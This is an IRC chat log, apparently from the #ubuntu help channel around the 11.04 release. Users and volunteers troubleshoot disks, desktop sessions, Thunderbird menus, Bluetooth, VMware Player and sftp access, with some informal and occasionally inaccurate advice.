[11:31] <ikonia> djcoin: there is no partition on the disk - data is already gone
[11:31] <djcoin> I guess linux is mistaken because of some hardware failure or whatever
[11:31] <ikonia> djcoin: it's not mistaken
[11:31] <InHisName> ver 10.04 -> 10.10
[11:31] <ikonia> djcoin: pastebin the output of "sudo fdisk -l" please
[11:31] <Incarus6> DogEars, let me try. Didn't boot it since upgrade. Especially 3D acceleration is better supported in vbox. Yeah, its workign perfectly
[11:31] <InHisName> not out of time for 2.5 hours then back.
[11:31] <InHisName> s/not/now/
[11:31] <djcoin> ikonia: no output
[11:31] <jodlajodla> hello, i have problems with additional ati drivers - all windows lagg when i move it
[11:31] <djcoin> the command is completely silent
[11:32] <ikonia> djcoin: are you running from a livecd ?
[11:32] <DogEars> Incarus6, I will install and try. Thanks
[11:32] <djcoin> nop
[11:32] <ejv> ikonia: he needs to use sudo
[11:32] <JustMeDude> is there a way to restore the original unity desktop without reinstalling 11.04?
[11:32] <terry> VCoolio: Well, again, I'll find out when I get there.  I'm going over there sometime next week, was just wondering how it worked.  No big deal.
[11:32] <PythonPup> terry, 8.04 is LTS.  Now he is on 9.04, which is not.  Upgrading from 9.04 to 10.04 is not officially supported, but there is a wiki page for it.  Please google for it, as I really have to go back to work.  I won't check irc again for hours.
[11:32] <Herbs> InHisName your bios seems to think it is
[11:33] <ejv> ikonia: nvm i see you've mentioned it to him, he may not be following directions lol
[11:33] <terry> PythonPup: Ok, thanks info
[11:33] <Incarus6> DogEars, which guest os are you planning to run with it?
[11:33] <Herbs> InHisName unless its referring to the cmos battery
[11:33] <ikonia> djcoin: you used the command "sudo fdisk -l" yes? exactly like that ?
[11:33] <DogEars> Incarus6, XP pro
[11:33] <djcoin> yeah
[11:33] <botcity> JustMeDude, http://www.webupd8.org/2011/04/how-to-reset-unity-launcher-icons-or.html
[11:33] <Sterist> anyone know if there's plans for ubuntu on android phones?
[11:33] <djcoin> im root
[11:33] <djcoin> ho no, i did specify <:de
[11:34] <Incarus6> DogEars, I'm running Windows 7 Enterprise
[11:34] <ikonia> djcoin: how did you become root ?
[11:34] <djcoin> /dev/sdb
[11:34] <terry> PythonPup: VCoolio atlef Thanks for the info.  I
[11:34] <Glycan> What do I have to do to get mp3s working?
[11:34] <djcoin> sudo su
[11:34] <scotty^> jodlajodla - please define "additional ati drivers" - do you mean fglrx (also known as Catalyst)?
[11:34] <ikonia> djcoin: don't use "sudo su"
[11:34] <Herbs> sudo su is not root
[11:34] <gmj> hello, anyone has problems with ufw - multicast dropping - after upgrade to natty?
[11:34] <DogEars> Incarus6, It is to run a business app
[11:34] <terry> PythonPup: VCoolio atlef Thanks for the info.  I'm hoping to wait for the traffic to simmer down, maybe next week and then do somethig with it.
[11:34] <jodlajodla> scotty^ - yes fglrx from additional drivers
[11:34] <djcoin> sudo su - ?
[11:34] <VCoolio> djcoin: if you need to, use 'sudo -i'
[11:34] <atlef> !restricted | Glycan
[11:34] <ubottu> Glycan: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also https://help.ubuntu.com/10.04/musicvideophotos/C/video.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[11:34] <Herbs> su -l would be root try that
[11:35] <ikonia> djcoin: sudo -i
[11:35] <DogEars> Incarus6, Does 7 run OK?
[11:35] <Glycan> I di dsee those.
[11:35] <Glycan> Didn't help
[11:35] <Glycan> Well, you tube works
[11:35] <ikonia> djcoin: sudo fdisk -l output please.
[11:35] <Incarus6> DogEars, lol, I'm running photoshop and illustrator inside that virtual machine and it's running flawless ;)
[11:36] <Sterist> !hi
[11:36] <Mole> how do i change from unity to ubuntu classic (gnome) via the terminal?
[11:36] <constl> Mole: When you login you are given at the bottom the option to chose which environment to use
[11:37] <Herbs> mole sudo init3 should take you to a shell them service gdm start should start gnome
[11:37] <Dr_Willis> Mole:  you could edit your .dmrc file then log out/back in. but you may as well use gdm to change it.
[11:37] <DogEars> Incarus6, Virtualbox - ose ?
[11:37] <Mole> constl: problem is i enabled autologin, its running on my htpc
[11:37] <Dr_Willis> Mole:  log out. use gdm menus.
[11:37] <djcoin> ikonia: http://pastie.org/1853035
[11:37] <djcoin> Thanks a lot
[11:37] <Mole> Dr_Willis: ok thanks
[11:37] <Incarus6> DogEars, I think the upgrade removed the non-ose version, so it's ose now. Both working great
[11:37] <djcoin> I copy paste the syslog
[11:37] <Dr_Willis> i think thers some default-session tool somewhere.. but gdm is the easiest way.
[11:37] <atlef> DogEars, i would get the non-ose directly from http://www.virtualbox.org/
[11:37] <djcoin> when the disk was plugged in
[11:38] <ikonia> djcoin: I didn't ask for the syslog
[11:38] <atlef> DogEars, but that is just me
[11:38] <Trashi> hi. i installed thunderbird from the ubuntu software manager. now i want to install an addon but i cant see the menu of thunderbird. does anybody know how to fix that problem and "unhide" the menu?
[11:38] <djcoin> Yeah, but you also got the sudo fdislk
[11:38] <djcoin> fdisk -l
[11:38] <djcoin> that brings nothing
[11:38] <djcoin> I guess
[11:38] <Mole> Dr_Willis: where do i find the .dmrc-file ?
[11:38] <Glycan> Moreover, it deosn't provied support for 11.4
[11:38] <Dr_Willis> Trashi:  you see no menus? they shoudl appar in the top bar when you mouse up there.
[11:38] <ikonia> djcoin: look at what it's doing port 5 on the hub is disabling/up/down
[11:38] <terry> djcoin: You don't seem to have sdb  Is it a USB drive?
[11:38] <Herbs> fdisk -l alone will not do anything you have to sudo it in ubuntu
[11:38] <DogEars> atlef: First time with virtual so this is a turning point
[11:38] <Dr_Willis> Mole:  its in your home dir. but really..just log out. enter your user name. and select the session you want in the menus at the bottom. thats the easiest way
[11:39] <terry> Herbs: he did
[11:39] <djcoin> terry: usb drive yes
[11:39] <kau_mad> Hi, does anybody know how to turn on a NVidia optimus GPU?
[11:39] <terry> djcoin: You may need to plug it in again.
[11:39] <Trashi> Dr_Willis: in the top bar i can only close, minimize, etc... but there isnt a menu
[11:39] <jodlajodla> hello, i have problems with additional ati drivers - all windows lagg when i move it
[11:40] <Dr_Willis> Trashi:  thats weird. Other apps show a menu up there? or do no menus appear for anything?
[11:40] <terry> djcoin: Try  unplugging it and plug it in again and see.  fdisk -l | pastebinit
[11:40] <kau_mad> I installed NVidia drivers and xserver crashed, had to replace xorg.conf
[11:40] <Mole> Dr_Willis: i cant logout since i have no menus or anything, just an empty desktop. its probably cus i fiddled around with overscan-options (nvidia)..id prefer the .dmrc-solution hehe
[11:40] <djcoin> terry: ikonia lol it mounts itself right away
[11:40] <djcoin> plugin it out
[11:40] <Trashi> Dr_Willis: no.. its a "thunderbird-only" problem
[11:40] <djcoin> but I made it several times
[11:40] <terry> djcoin: Ok, very good.
[11:40] <djcoin> first time it does mount
[11:40] <djcoin> why is that ?
[11:40] <Dr_Willis> Mole:  sudo service gdm restart   will force a lot oug and restart gdm.   theres some  .nvidia?? file that has your users settings in there you could rename.
[11:41] <atlef> Trashi, what happens when you press Alt + f
[11:42] <Trashi> atlef: nothing
[11:42] <Incarus6> DogEars, Nevermind, it's the non-ose version
[11:42] <kau_mad> Has anyone successfully installed drivers  for an NVidia optimus vga?
[11:42] <Dr_Willis>  /home/willis/.dmrc  is my dmrc. :) its just a text file with a few lines.
[11:42] <atlef> Trashi, ok, just thought that would give you the menu
[11:42] <sandking> hi
[11:42] <Mole> Dr_Willis: hmm i dont have one, what does it look like?
[11:43] <djcoin> ikonia: thanks a lot
[11:43] <DogEars> Incarus6: Whats the difference?
[11:43] <Dr_Willis> Mole:  it could be autologin skips it. I never use autologin
[11:43] <Trashi> atlef: no ... i only see the shortcut menu (get all mails, write, adresse book, tag, etc)
[11:43] <Dr_Willis>  pastebinit .dmrc
[11:43] <Herbs> does anyone know anything abount mounting samba shares with autofs?
[11:43] <Dr_Willis> http://paste.ubuntu.com/601680/
[11:44] <scotty^> Glycan - OK, if that didn't work, try using Synaptic package manager to install gstreamer0.10-ffmpeg, gstreamer0.10-plugins-bad and gstreamer0.10-plugins-ugly. gstreamer0.10-plugins-good should already be installed but if it's not, install it.
[11:44] <Incarus6> DogEars, some firmware and proprietary things are better supported
[11:44] <Mole> Dr_Willis: ok. is there a way to bring up a terminal by using keyboard shortcuts? kinda hard to do anything without menus ;)
[11:44] <Dr_Willis> Mole:  alt-f2
[11:44] <Dr_Willis> Mole:  or go to the console - alt-ctrl-f1
[11:44] <Incarus6> I g2g
[11:44] <Mole> Dr_Willis: great, thanks alot!
[11:44] <atlef> Trashi, and if you use the arrow keys
[11:44] <Dr_Willis> Mole:  the  .nvidia-settings-rc
[11:44] <Dr_Willis> Mole:  the  .nvidia-settings-rc  file seems to store per-user nvidia settings
[11:45] <Trashi> atlef: what should i do with the arrow keys?
[11:45] <DogEars> Incarus6: The repository only lists the OSE versions
[11:45] <thauriswufla> HELP: unable to install ubuntu 11.04 , tried every method usb,cd ,dvd, getting error 5 input /output error after 28 % of process.Is there any way to install?
[11:46] <atlef> Trashi, when you use alt + f and the left right arrow i thought you would move through the menus
[11:47] <botcity> thauriswufla, did you check the md5 checksum ?
[11:47] <Trashi> atlef: but it doesnt because the main menu of thunderbird didnt appear on thunderbird start
[11:47] <thauriswufla> botcity, no
[11:47] <thauriswufla> botcity, how to do that
[11:47] <botcity> !md5 | thauriswufla
[11:47] <ubottu> thauriswufla: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[11:47] <DogEars> Incarus6: The VB website has all versions available. Downloading atm
[11:48] <thauriswufla> botcity, but live cd is working fine  except installation
[11:48] <atlef> Trashi, ok, then i do not know
[11:48] <[diablo]> morning #ubuntu ... I have just installed the Gnome3 PPA ... up and running... however I can not see to find how to set the GTK toolkit theme... the default is dire ... anyone know how to do this please?
[11:48] <afeder> my ubuntu just switched from the slick default appearance to a dull gnome standard one... anyone knows why this might have happened?
[11:48] <Dr_Willis> afeder:  as you were using it? or just now on login?
[11:48] <atlef> !gnome3 | [diablo]
[11:48] <ubottu> [diablo]: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[11:48] <afeder> on login
[11:49] <incorrect> what is really irritating about unity, if i change between virtual desktops the single full screen app doesn't get focus when i move back sometimes
[11:49] <Dr_Willis> afeder:  could be ou some how defaulted to unity-2d perhaps?
[11:49] <botcity> thauriswufla, check the cd.
[11:49] <[diablo]> atlef, hi, yeah I knew about that
[11:49] <afeder> Dr_Willis, is there a way to check if that has happened?
[11:49] <Trashi> is there a way to launch a mozilla thunderbird addon manager as stand alone, so without the thunderbird main application?
[11:49] <Dr_Willis> afeder:  at the GDM login screen. enter user name. see what session is selected at biottom
[11:50] <afeder> ok thanks
[11:50] <[diablo]> choosing the widget theme would be nice tho
[11:50] <scotty^> kau_mad - Optimus is not currently supported on Linux - see http://www.phoronix.com/scan.php?page=news_item&px=OTM3NA
[11:52] <s3xs1> hi! I'm new to ubuntu/linux, and I'm trying to install RTAI-LAB, by following the instructions from rtai-ubuntugutsy-matlab.txt, but it gives me an error since the start (mesalib) and I'm stucked :D help!
[11:52] <sahip> 全部
[11:52] <sahip> Opps
[11:52] <scotty^> Trashi - someone mentioned b4 that there was a Firefox extension to integrate it's menu with Unity - I'm guessing Thunderbird needs something similar.
[11:52] <Fakyea> hi
[11:53] <MnCC> anyone experience with bluetooth ?
[11:53] <Trashi> scotty^: and how to install a thunderbird extension without access to the extension/addon manager?
[11:54] <botcity> !bluetooth | MnCC
[11:54] <ubottu> MnCC: For instructions on how to set up bluetooth, see https://help.ubuntu.com/community/BluetoothSetup
[11:55] <MnCC> botcity, that didnt do anything for me ..
[11:55] <[diablo]> brb
[11:56] <MnCC> botcity, that tutor is so outdated is isnt even funny
[11:56] <bazhang> MnCC, ask a real question
[11:56] <jonathonf> [diablo]: try gnome-tweak-tool
[11:56] <logicalor> hi, wondering if there is a way to stop rsync after it transfers a specified amount of data (eg. 5gb)
[11:56] <logicalor> ie is there a native switch or would i need to get it to report to a watcher that kills it on a certain condition?
[11:56] <MnCC> i am unable to transfer files from mobile phone to laptop via bluetooth, the other way around works just fine.
[11:57] <brandonc503> Are the users made by Ubunt not SSH by default.. im havin trouble finding chroot info.. foujnd chrot for sftp users ssh users ftps users...
[11:57] <Herbs> logicalor man rsync Ive always wanted it to run till it finished backing up
[11:57] <scotty^> Trashi - hmm.  Good question.  What happens if you double-click on the .xpi file in Nautilus?
[11:58] <logicalor> thanks herbs, typically would as well but with transfer limits imposed by isps becoming ever more prevalent one has to be vigilant
[11:58] <brandonc503> and what is the JailKit?
[11:58] <scotty^> Trashi - otherwise maybe booting into Ubuntu Classic and installing it, then booting back into Unity will work.
[11:58] <Herbs> logicalor true you using a DR repo? sorry cant help
[11:58] <Trashi> scotty^: the archive manager appears ... i tried to open the xpi file with thunderbird from nautilus, but nothing happens
[11:59] <Trashi> scotty^: yes you are right .. think i'll try that ...
[12:00] <bob34> hello
[12:00] <logicalor> what is a dr repo?
[12:01] <Herbs> disater recovery repo I take it your backing up to some kinda cloud storage?
[12:01] <bob34> Does it worth installing the proprietary nvidia driver? i dont want to play games neither eye candy... i just want a browser, email, music, videos, some coding and remote desktop. I run ubuntu 11.04 with xfce or fluxbox.
[12:02] <botcity> MnCC, which phone is it ?
[12:02] <scotty^> Does anyone know if there is a tracking bug in Launchpad  for a Natty kernel upgrade to either 2.6.38.3 or 2.6.38.4?
[12:02] <logicalor> oh okay.  something like that.  all good - i'm moderately versed in rsync but its manual can be confusing and documentation isn't always up to speed.  i think i'll throw together some sort of wrapper script to deal with it
[12:02] <MnCC> botcity, HTC HD2
[12:02] <logicalor> thanks anyway
[12:02] <zhouxin> 扫描
[12:02] <zhouxin> what
[12:03] <MnCC> is seems i have no rights to write .. it should dump files in the Downloads folder .. so i chmod -R 777  ./Downloads .. but no luck
[12:03] <scotty^> Glycan - OK, if that didn't work, try using Synaptic package manager to install gstreamer0.10-ffmpeg, gstreamer0.10-plugins-bad and gstreamer0.10-plugins-ugly. gstreamer0.10-plugins-good should already be installed but if it's not, install it.
[12:03] <Glycan> How do you move large amounts of files from one folder to another in terminal?
[12:03] <botcity> MnCC, and its connected a trusted device?
[12:03] <Glycan> scotty: I got it to work. Thanks
[12:03] <scotty^> Glycan - Cool.
[12:04] <MnCC> botcity, yeah .. it works like a charm the other way around .. i can send files to the phone perfectly
[12:04] <llutz> Glycan: mv src/file* target/
[12:04] <scotty^> Glycan - I believe the command you want is mv.
[12:04] <Glycan> Thanks
[12:04] <Herbs> logicalor depending on what your transferring but you could use --max-size= if its one file
[12:05] <MnCC> botcity, i just cant find any documentation .. they all cover gnome-obex .. and in 11.04 i have bluetooth-*
[12:05] <brandonc503> ikonia: is this what im looking for? https://help.ubuntu.com/community/BasicChroot
[12:05] <Herbs> logicalor or compress during transfer never used it myself though
[12:05] <botcity> MnCC, you should be getting a pop up saying something accept for MnCCmob  is it sending ?
[12:06] <MnCC> botcity, no popup ..
[12:06] <afeder> after i logged in, the appearance had changed from the usual slick dark gray one to this: http://i54.tinypic.com/kbq4hs.jpg (note gnome default icons) ... why might this have happened? at login, my session thingy was 'Ubuntu'
[12:06] <abd_bela> in ubuntu 11.04 I want to customize the top menu, for example, adding a button to close it or auto hide it? In gnome I just need to right-click to get the preferences !!
[12:07] <yuanye> how many have updated to 11.40
[12:07] <b_gholamali> I can't see nm-applet icon on the panel, ubuntu 10.10, can someone  help me?
[12:08] <atlef> b_gholamali, add indicator applet
[12:08] <atlef> i think
[12:08] <yuanye> looking for a tool for writing html
[12:08] <MnCC> yuanye, make a ghost/backup .. just in case..
[12:08] <yuanye> thanks
[12:08] <Herbs> yuanye kompozer
[12:09] <yuanye> thanks   a lot
[12:09] <niteye> hello, where can i find apps that use a taskbar icon? when i minimize them i cannot open them anymore (but the process is still there) (for example aMSN)
[12:09] <niteye> in unity
[12:09] <b_gholamali> @atlef: it's active
[12:10] <b_gholamali> @atlef: maybe restarting it can help, but i dont know how to do that...
[12:10] <Witchsong> niteye: Minimized applications should be on the Launcher.
[12:11] <brandonc503> so im looking up information on chroot options so that my ftp users cannot access anything above there home directory. is the chroot a setting in ubuntu already? or must i install/configure something new?
[12:11] <kraftwer1> any experience with bluetooth auto reconnect on 11.04?
[12:11] <niteye> They only stay there when the application is minimized, when the window is closed but the application is active and acciessible through a taskbar icon like before, then i can't get to them anymore
[12:11] <atlef> b_gholamali, killall gnome-panel in a terminal
[12:12] <PetrHH> hello, I've installed Xubuntu 11.04, everything work fine except vmware player. If I try it to run, I got these errrors: http://pastebin.com/zH5uECrQ
[12:12] <PetrHH> anybody know what can be wrong, please?
[12:12] <niteye> many things are wrong since the upgrade grrr lol
[12:13] <Herbs> brandonc503 needs to be configured in the ftp server
[12:13] <niteye> so taskbar icons, where are they now in unity?
[12:13] <zaksoldier> hi
[12:13] <Trashi> i fixed the thunderbird problem. > for everyone whos interested > if the menu top bar menu does not appear for thunderbird, check the thunderbird-gnome-support and thunderbird-globalmenu package is installed. i just installed thunderbird with help of the ubuntu (11.04) software manager. it installed thunderbird-globalmenu BUT NOT the gnome-support... install that package and kill thunderbird... after that start thunderbird and it works ...
[12:14] <bittin> hi
[12:14] <matborda> oi
[12:14] <abd_bela>  PetrHH : what is vmware player? may be a video player
[12:14] <brandonc503> herbs: where do i find the ftp server configuration?
[12:14] <zaksoldier> did i have now download the new version
[12:14] <atlef> Trashi, good to see you fixed it :-)
[12:14] <bittin> abd_bela: no its for virtual machines
[12:14] <Witchsong> niteye: You cannot really reach them anymore in that case. You can kill the process and reboot the application, that's the best option. Some applications, like XChat in my instance, have a bug where the minimize to tray doesn't work like it used to in 10.10.
[12:14] <b_gholamali> @atlef: it didn't work, how about reinstalling nm-applet?
[12:14] <Herbs> brandonc503 how longs a piece of string which ftp server you using
[12:14] <niteye> Witchsong: that's a pita :(
[12:15] <atlef> b_gholamali, not sure, sorry
[12:15] <Trashi> atlef: thanks for your help and ideas ;)
[12:15] <atlef> Trashi, you are welcome
[12:15] <abd_bela> bittin   is it installed by default? strange
[12:15] <bittin> abd_bela: i don't think so
[12:15] <b_gholamali> @atlef: thanks for help
[12:15] <atlef> b_gholamali, np
[12:16] <brandonc503> herbs ssh
[12:16] <Herbs> brandonc503 so your using sftp?
[12:16] <brandonc503> yes
[12:16] <brandonc503> sorry learning as i go
[12:16] <Glowball> Can I set two different shortcuts for the same action? I have a touch thingie for controlling sound, but I also want Fn-up and Fn-down as shortcuts for my volume. Is this possible without overriding the touch controls?
[12:16] <abd_bela> Sure it is not there, at least in CD live, may be our friend  PetrHH means video player
[12:17] <MnCC> botcity, got it working .. after changing settings, restart the daemon .. or in my case a reboot
[12:17] <Herbs> brandonc503 you dont have to worry then users who have been added to the system can only use ftp over ssh and will be chrooted to there home directory by the os
[12:17] <PetrHH> abd_bela, no, I mean VMware player :-)
[12:17] <abd_bela> may be someone try like me,  in ubuntu 11.04  to customize the top menu, for example, adding a button to close it or auto hide it? In gnome I just need to right-click to get the preferences !!
[12:18] <brandonc503> Herbs: so far when i log in with ftp, i can see the entire file structure tree above the home directory i have set
[12:18] <Herbs> brandonc503 ftp is different to ftp over ssh (sftp)
[12:18] <Guest15918> My friend is running 10.10 withot an internet connection & he has removed openoffice by mistake. I have an internet connection .Is there away I can download and take the packages with me ? & then install them by dpkg -i *. deb  ????
[12:18] <sandking> am i the only one that thinks Unity slows down netbooks (or low resource machines)?
[12:18] <PetrHH> abd_bela, it is from vmware, virtual machine software
[12:19] <Herbs> sftp uses the system login so there restricted the same as if they logged in locally to there home directory
[12:19] <abd_bela> <PetrHH>  Have you install it from a ubuntu repository
[12:19] <Guest15918> how to know which packages to download ?
[12:20] <brandonc503> Herbs: ok.... well im using filezilla and it says sftp:// at beginning... does this mean i cannot set this?
[12:20] <PetrHH> abd_bela, No, I haven't. I downloaded it directly from VMware website. I don't know that ubuntu have this in repo
[12:20] <Herbs> brandonc503 you dont have to set it sftp is the same as ssh
[12:21] <Herbs> sftp has the same restrictions as ssh does
[12:21] <brandonc503> Herbs: so i should look for setting in the ssh to set the root folder.. is that the right term? root folder?
[12:21] <windyhu> try it
[12:22] <abd_bela> <PetrHH>  I think the best way if really you need it??,  you install it from ubuntu or   debian repository
[12:22] <jodlajodla> hello, can someone help me config 5.1 sound
[12:22] <omichalek> hi all, I just launched new version of dropbox and it asks me for admin password. "This will enable Dropbox to  sync extended file attributes."
[12:22] <Herbs> brandonc503 basically sftp has the same access as an ssh login or a local login
[12:22] <omichalek> what does dropbox need my password for?
[12:22] <Superstar> What is the picture in Control Centre > About Me used for?
[12:22] <Herbs> but only for that user and they are restricted to there user group
[12:22] <PetrHH> abd_bela, Yes, I really need it. I'm developing a software and need to test in in several version of ubuntu and also other distributions.
[12:23] <atlef> Superstar, it show on the login window for example
[12:23] <omichalek> should I give Dropbox my password?
[12:23] <abd_bela> <PetrHH> you can check it if it is in debian  go  to www.debian.org and search in packages
[12:23] <jodlajodla> hello, can someone help me config 5.1 sound
[12:23] <Superstar> atlef is it used by empathy or any instant messenger by your knowledge?
[12:23] <PetrHH> abd_bela, I'll try but I doubt there will be something. It is not open source.
[12:23] <DirtyDawg> omichalek: dropbox is safe
[12:23] <cdavis> My touchpad stops working on my thinkpad, there was a bug but it says it was fixed. Is there a way to restart the touchpad services?
[12:24] <niteye> how can i change the global keyboard layout? i tried dpkg-reconfigure console-setup but it doesn't ask me for a keyboard layout
[12:24] <brandonc503> Herbs: sorry im trying to keep up. so should i bee looking in my etc/ssh for a file to set the configuration?
[12:24] <omichalek> DirtyDawg: but what would it need it for?
[12:24] <Herbs> brandonc503 i.e you login to sftp as root you can do anything add user someone they can only access someones dir as long as you set the home directory for the user and dont add them to the wrong group
[12:24] <atlef> Superstar, no idea, just know about the login window
[12:25] <zamba> after upgrading to 11.04, my wirless has gone to sh*t
[12:25] <zamba> using iwlagn
[12:25] <Herbs> brandonc503 I suggest you read up on linux permissions
[12:25] <slim> Hi! I installed a minimal ubuntu cd 11:04 via command-line, and LXDE-core and xinit. When system start I can't mount CD-ROM or other drives, but as root I can. This did not happen on Ubuntu 10.10 and before. Is there some help?
[12:25] <pythoned> Hello, I installed 10.10(ubuntu) upgraded it to 11.04 but I have  a flash problem. Installed it from ubuntu software center, if I go on a video on youtube it runs but if I go to a channel it warns me that I have either js disabled or an old flash version.
[12:25] <brandonc503> Herbs: iv used the user/groups to make a user with a certain home directory in there own group.
[12:26] <pythoned> How can I have an older one since USC states that it downloads flash player directly from adobe website?
[12:26] <Herbs> brandonc503 cool so those users are already locked to there home dir
[12:26] <cdavis> Is there a way to restart the touchpad on a laptop?
[12:26] <Herbs> and wont be able to access above
[12:26] <brandonc503> Herbs: but when i access via sftp i can see everything above
[12:26] <Herbs> as long as they use sftp
[12:26] <jwtiyar> while trying to open .docx file but does not show any thing in office and office does not launch?
[12:26] <abd_bela> <PetrHH>  in debian you have wvmare, I don't know if that you are looking for
[12:26] <Herbs> you havent enabled them ftp access
[12:27] <Herbs> brandonc503 your logging in as root thats why
[12:27] <brandonc503> Herbs:im using the user name i made, not the word root
[12:27] <abd_bela> <PetrHH>  just add in your sources.list the line for debian   deb http://ftp.de.debian.org/debian stable main contrib non-free
[12:28] <brandonc503> Herbs: so all my usernames login as root?
[12:28] <Herbs> brandonc503 hmm grep user /etc/passwd whats the output?
[12:28] <jwtiyar> while trying to open .docx file but does not show any thing in office and office does not launch?
[12:29] <Christian87_> Hi
[12:29] <brandonc503> Herbs: sub user with my actuall user naem right?
[12:29] <zaksoldier> hi
[12:30] <Herbs> brandonc503 no what did that command output?
[12:30] <brandonc503> hplip:x:112:7:HPLIP system user,,,:/var/run/hplip:/bin/false
[12:30] <abd_bela> in ubuntu 11.04 I want to customize the top menu, for example, adding a button to close it or auto hide it? In gnome I just need to right-click to get the preferences !!
[12:31] <Herbs> grep theuseryouwanttochroot /etc/passwd
[12:31] <pythoned> Anyone here that can assist me?
[12:31] <brandonc503> user2:x:1002:1002:user2,,,:var/www/user2/:bin/bash
[12:32] <Joric> i just ran ubuntu 11.04 64-bit live cd on intel celeron 550 (conroe-L) how is this even possible does it really support 64-bit? uname says x86_64
[12:32] <Herbs> brandonc503 ok grep 1002:1002 /etc/passwd
[12:33] <brandonc503> user2:x:1002:1002:user2,,,:var/www/user2/:bin/bash
[12:34] <Herbs> you need to change :bin/bash to nologin
[12:34] <iceroot> Joric: uname is telling you what kernel is used, cat /proc/cpuinfo (lm means 64bit) tells what the cpu can do
[12:34] <jwtiyar> while trying to open .docx file but does not show any thing in office and office does not launch?
[12:35] <Herbs> actually no you dont face palm
[12:35] <brandonc503> lol
[12:36] <Christian87> lol
[12:36] <atlef> PetrHH, there is some info here on vmware player problems http://ubuntuforums.org/showthread.php?t=1735951
[12:36] <Herbs> brandonc503 login as ssh as that user and type echo$PATH
[12:37] <PetrHH> atlef, thank you, I'll look at it.
[12:37] <moldy-b> ow-er
[12:38] <PetrHH> atlef, I solved it by installing libview2 package
[12:38] <LjL> good morning. i have installed Natty using btrfs as /, but GRUB is refusing to work ('press any key to reboot'), and i am a bit at a loss on how to fix it, considering that when i mount my btrfs root, there is a @/ directory containing the actual root, plus a @home/ directory, and i have no clue what that is about
[12:38] <atlef> PetrHH, ok good
[12:38] <PetrHH> it installed a few dependencies and it works
[12:39] <Herbs> petrhh welcome to Linux :)
[12:39] <Herbs> think yourself lucky it wasnt 5 years ago :)
[12:40] <PetrHH> Herbs, thank you :-) I'm developing software for Linux and sometimes it is very strange
[12:40] <happolati> Hi. After upgrading from 10.10 to 11.04 i can't log in. My machine freezes at the ubuntu splash-screen. What log files should I read to find out what's going on? I can log in in failsaxe graphics mode.
[12:40] <p0op-> Playback of movies from my external USB HD seem to pause or crash every 5-15 mins, a check out of the logs found many repeats of the following message -   usb 1-2: reset high speed USB device using ehci_hcd and address 2 anybody know how I can fix?
[12:40] <Herbs> just think yourself lucky that not everything has to be compiled from source anymore
[12:41] <maxagaz> I have run "ssh -D 9998 user@server" (lucid server) on my desktop (natty), then set firefox proxy settings to localhost:9998 and network.proxy.socks_remote_dns to TRUE in the about:config on the desktop (natty), but I then can't access to the web, what's wrong in what I did ?
[12:41] <thegoodcushion> What's the status of the ARM port?  Is it going to become an official architecture?
[12:41] <theclaw> I don't have a volume control applet in 11.04 anymore. which package is this?
[12:42] <Herbs> maxgaz you want to tunnel over 998?
[12:42] <Herbs> have you opened the port in your firewall
[12:42] <happolati> is the nvidia-driver removed when upgrading to 11.04? how can i get it back?
[12:42] <moldy-b> hi
[12:43] <maxagaz> Herbs, no, I didn't, how to do it ?
[12:43] <thegoodcushion> happolati: sudo apt-get install nvidia-current
[12:44] <atlef> p0op-, it might be a problem with your usb port not supplying enough power, try changing port
[12:44] <moldy-b> is it possible to use a sound file that will play in order to notify you that you've got a message for instance?
[12:44] <p0op-> atlef: its externally powered
[12:44] <atlef> p0op-, ok, just a thought
[12:45] <hardcold> I just turned on my computer and all the icons, dialogue boxes, top bar, etc were all different
[12:45] <brandonc503> Herbs: bash: echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games: No such file or directory
[12:45] <jwtiyar> while trying to open .docx file but does not show any thing in office and office does not launch?
[12:45] <hardcold> This is a clean install of 11.04, and no system preferences were touched
[12:46] <Herbs> on ubuntu hmm I dont know the proper ubuntu way so might get shouted at but I modify /etc/sysconfig/firewall with the rules and then execute the script
[12:46] <atlef> jwtiyar, right click the docx file and choose properties and under the open with tab make sure office is selected
[12:47] <jwtiyar> atlef, show the open office loading but after this does not load
[12:47] <ertroll> #chromium
[12:48] <Incarus6> jwtiyar, docx is at the moment unsupported. you con open it with libreoffice read-only
[12:48] <atlef> jwtiyar, ok
[12:48] <jefimenko> does anyone know how to change the console resolution in ubuntu 10.04? i have been searching everywhere and can't find definitive answer
[12:48] <Herbs> brandon503 can you cd above the home dir via ssh?
[12:48] <jwtiyar> Incarus6, so i have to install libreoffice now?
[12:49] <jrib> jefimenko: for TTYs when you press ctrl-alt-f1 you mean?
[12:49] <Incarus6> jefimenko, first search result: https://help.ubuntu.com/community/ChangeTTYResolution
[12:49] <jefimenko> i have a server that is starting up with 1280x1024 and i need to bring it back down to earth...
[12:49] <jefimenko> thanks. i guess i didn't know to use "tty" in my keywords
[12:49] <thegoodcushion> Does anyone know.. is ARM going to become an official Ubuntu architecture?
[12:50] <Incarus6> jwtiyar, Im not sure if openoffice supports docx atm. http://user.services.openoffice.org/en/forum/viewtopic.php?f=7&t=372
[12:50] <LjL> jrib dear, remember i gave you a cookie! tell me why grub broke when i installed natty on btrfs =)
[12:50] <jefimenko> Incarus6, jrib: this guide says to type "vbeinfo" in the grub2 command line. how i access it? i have no grub cmd
[12:51] <afeder> my desktop has changed appearance to a default gnome look - how can this have happened or how can i get the slick ubuntu look back?
[12:51] <jrib> LjL: I read your question but have no clue and if I recall correctly that cookie was confiscated from me -_-
[12:51] <jefimenko> nm... i have to reboot for it
[12:51] <LjL> jrib: :((
[12:51] <Incarus6> jwtiyar http://hanovercomputerrepair.com/blog/2011/01/29/libreoffice-3-3-gives-openoffice-org-docx-and-new-looks/
[12:53] <atlef> afeder, log out and choose your user, do not enter password and choose "Ubuntu" in the bar at the bottom
[12:53] <Incarus6> jefimenko, type "grub" in terminal
[12:53] <afeder> atlef, i'll try that thanks
[12:53] <Incarus6> jefimenko, nevermind, didn't work.
[12:54] <brandonc503> Herb: might i have to restart anything if i made this home directory change? could that be it?
[12:55] <Herbs> brandon503 not really but what change did you make?
[12:55] <brandonc503> Herbs: and i cant go up in directory there
